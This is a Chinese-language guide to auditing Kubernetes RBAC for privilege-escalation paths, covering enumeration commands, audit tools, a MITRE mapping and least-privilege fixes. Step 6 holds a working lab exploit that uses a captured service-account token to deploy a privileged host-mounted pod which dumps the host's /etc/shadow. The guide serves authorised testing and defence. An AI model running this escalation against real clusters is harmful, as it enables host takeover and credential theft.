审计 Kubernetes RBAC 权限提升 是做什么的?
法律声明: 本技能仅用于授权的安全测试和教育目的。枚举和行使 RBAC 权限会影响实时集群的访问状态。仅测试您拥有或获得明确书面授权评估的集群。
概述
Kubernetes 基于角色的访问控制 (RBAC, MITRE ATT&CK T1078 有效账户) 通过由 RoleBinding/ClusterRoleBinding 绑定的 Role/ClusterRole 规则来管理每个用户和服务账户可执行的操作。由于工作负载默认会挂载一个服务账户令牌,攻陷一个 Pod 的攻击者将继承该账户的 RBAC 权限。过度权限的绑定可将一个被攻陷的 Pod 转变为对整个集群的控制:某些动词和资源具有“等同于集群管理员”的 RBAC 权限。
根据 Kubernetes“RBAC 最佳实践”指南和 Unit 42 的研究,危险的权限原语包括:
- 对 roles 的
escalate— 授予自己任何权限,即使你本来没有。 - 对 clusterroles 的
bind— 创建一个指向cluster-admin的绑定。 - 对用户/组/服务账户的
impersonate— 以任何主体身份行动,包括system:masters。 - 对
pods的create/update/patch— 调度特权 Pod 或挂载节点,从而逃逸到主机 (T1611)。 - 对
pods/exec、pods/attach、pods/ephemeralcontainers的create— 在任何现有 Pod 中运行代码。 - 对
secrets的get/list/watch— list 操作会返回完整的 Secret 内容,包括其他服务账户的令牌。 - 对
serviceaccounts/token的create— 为更特权账户生成令牌。 - 对
validatingwebhookconfigurations/mutatingwebhookconfigurations、nodes/proxy、certificatesigningrequests/approval的update/patch— 准入/CSR 滥用以获取集群管理员权限。 - 通配符 (
verbs: ["*"],resources: ["*"]) — 隐式超级权限。
本技能系统地枚举每个主体的有效权限,映射哪些主体拥有这些提权原语,并生成修复证据。来源:Kubernetes RBAC 最佳实践;Unit 42 Kubernetes RBAC 研究。
使用时机
- 在授权的 Kubernetes 安全评估或集群渗透测试期间
- 在攻陷一个 Pod 后,确定其服务账户令牌可以访问哪些资源
- 在生产环境上线前审查 RBAC 配置漂移
- 在平台迁移或 Helm 发布后验证最小权限原则
前置条件
kubectl配置为连接目标集群(使用您自己的凭据或捕获的服务账户令牌)- 对 RBAC 对象的读取权限(大多数审计使用 cluster-reader 或 admin 上下文运行)
- 审计工具:
# rbac-police - 发现提权路径 (Cymulate) curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police chmod +x rbac-police # kubectl-who-can - 哪些主体可以执行某个操作 (Aqua) kubectl krew install who-can # rakkess - 当前/其他主体的资源 x 动词访问矩阵 kubectl krew install access-matrix # rbac-lookup - 主体拥有的角色 (FairwindsOps) kubectl krew install rbac-lookup
目标
- 盘点所有
Role、ClusterRole、RoleBinding和ClusterRoleBinding对象 - 使用
kubectl auth can-i --as枚举每个主体的有效权限 - 识别拥有“等同于集群管理员”RBAC 原语的主体
- 追踪挂载令牌的 Pod 到过度权限的服务账户
- 在实验室中端到端演示一个提权路径
- 输出一份带有优先级排序的发现报告和最小权限修复建议
MITRE ATT&CK 映射
| 技术 ID | 名称 | 战术 |
|---|---|---|
| T1078 | 有效账户 | 防御规避 / 持久化 / 权限提升 |
| T1098 | 账户操纵 | 持久化 |
| T1528 | 窃取应用程序访问令牌 | 凭据访问 |
| T1613 | 容器和资源发现 | 发现 |
| T1611 | 逃逸到主机 | 权限提升 |
工作流程
步骤 1:盘点 RBAC 对象
# 所有角色和绑定,集群范围
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide
# 导出完整 RBAC 用于离线分析
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
--all-namespaces -o yaml > rbac-dump.yaml
# 谁绑定到了 cluster-admin?
kubectl get clusterrolebindings -o json | \
jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
.metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'
步骤 2:枚举每个主体的有效权限
kubectl auth can-i 是权威检查,因为它评估了实时的授权器(RBAC + webhooks)。使用 --as 来模拟一个主体(需要有模拟权限用于审计身份)。
# 服务账户的完整访问矩阵
kubectl auth can-i --list \
--as=system:serviceaccount:default:default
# 针对危险权限的探测
kubectl auth can-i create pods --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
--as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
--as=system:serviceaccount:dev:builder
# 使用 rakkess 获取主体的完整动词 x 资源矩阵
kubectl access-matrix --as system:serviceaccount:dev:builder
步骤 3:搜寻提权原语
# 谁可以在集群中执行每个危险操作?
kubectl who-can create pods
kubectl who-can '*' '*' # 通配符上帝模式持有者
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings # bind 类型提权
# 在原始导出文件中搜索 escalate/bind/impersonate 动词和通配符
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml
步骤 4:使用 rbac-police 运行自动化提权路径分析
rbac-police 评估集群快照上的 Rego 策略,以发现可以提权到集群管理员的主体及其确切路径。
# 运行所有内置的提权检查(需要具有读取权限的 kubeconfig)
./rbac-police eval ./lib/policies/
# 仅运行权限提升策略,严重发现以 JSON 格式输出
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json
# 首先收集快照(离线分析 / 隔离网络审查)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json
步骤 5:追踪 Pod 到过度权限的服务账户
一个发现只有在可访问的工作负载挂载了该令牌时才重要。
# 将每个 Pod 映射到其服务账户
kubectl get pods --all-namespaces \
-o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'
# 查找自动挂载令牌(默认)且绑定到风险服务账户的 Pod
kubectl get pods --all-namespaces -o json | jq -r '
.items[] | select(.spec.automountServiceAccountToken != false) |
"\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'
# rbac-lookup:该服务账户实际拥有什么?
kubectl rbac-lookup builder --kind serviceaccount
步骤 6:演示提权路径(仅限实验室)
示例:一个拥有 create pods 权限且能访问某个节点的服务账户可以调度一个挂载主机文件系统的特权 Pod。
# 使用捕获的令牌,直接连接 API 服务器
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc
# 确认危险权限
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
auth can-i create pods
# 调度一个特权主机挂载 Pod(证明节点/主机控制权被接管)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
--insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
containers:
- name: x
image: alpine
command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
securityContext: {privileged: true}
volumeMounts: [{name: host, mountPath: /host}]
volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc # 主机 /etc/shadow 证明了提权成功
步骤 7:报告和修复
# 生成最小权限违反摘要
kubectl get clusterrolebindings -o json | jq -r '
.items[] | select(.roleRef.name=="cluster-admin") |
"发现 cluster-admin 绑定到: " +
((.subjects // []) | map(.kind+":"+.name) | join(", "))'
修复措施:用明确的动词/资源替换通配符;除非必需,否则移除 escalate/bind/impersonate;在不需要调用 API 的工作负载上设置 automountServiceAccountToken: false;尽可能使用 Role(命名空间范围)而非 ClusterRole;谨慎使用 aggregationRule。
工具和资源
| 工具 | 用途 | 来源 |
|---|---|---|
| kubectl auth can-i | 权威的实时权限检查 (--list, --as) | https://kubernetes.io/docs/reference/access-authn-authz/authorization/ |
| rbac-police | 基于 Rego 的提权路径分析 | https://github.com/PaloAltoNetworks/rbac-police |
| kubectl-who-can | 反向查找:谁可以做某事 | https://github.com/aquasecurity/kubectl-who-can |
| rakkess (access-matrix) | 每个主体的动词 x 资源矩阵 | https://github.com/corneliusweig/rakkess |
| rbac-lookup | 主体拥有的角色 | https://github.com/FairwindsOps/rbac-lookup |
| Kubernetes RBAC 最佳实践 | 权威的提权原语列表 | https://kubernetes.io/docs/concepts/security/rbac-good-practices/ |
危险 RBAC 原语参考
| 动词 / 资源 | 为什么它等同于集群管理员 |
|---|---|
对 roles 的 escalate | 授予自己任何权限 |
对 clusterroles 的 bind | 将自己绑定到 cluster-admin |
对用户/组的 impersonate | 以 system:masters 身份行动 |
create pods (+ 节点访问) | 特权的/hostPath Pod -> 主机控制权接管 |
create pods/exec,pods/attach | 在现有 Pod 中运行代码 |
get/list secrets | 读取所有令牌和凭据 |
create serviceaccounts/token | 生成特权令牌 |
*/* (通配符) | 隐式超级权限 |
验证标准
- 所有 Role/ClusterRole/Binding 对象已盘点和导出
- 已枚举 cluster-admin 主体列表
- 已通过
auth can-i --list枚举每个服务账户的有效权限 - 已识别所有危险原语持有者(escalate/bind/impersonate/secrets/pods)
- 已审查 rbac-police 提权路径
- 已将有令牌挂载的 Pod 映射到风险服务账户
- 在实验室中至少演示了一个提权路径
- 生成了包含最小权限修复建议的发现报告
- 所有测试均在授权范围内进行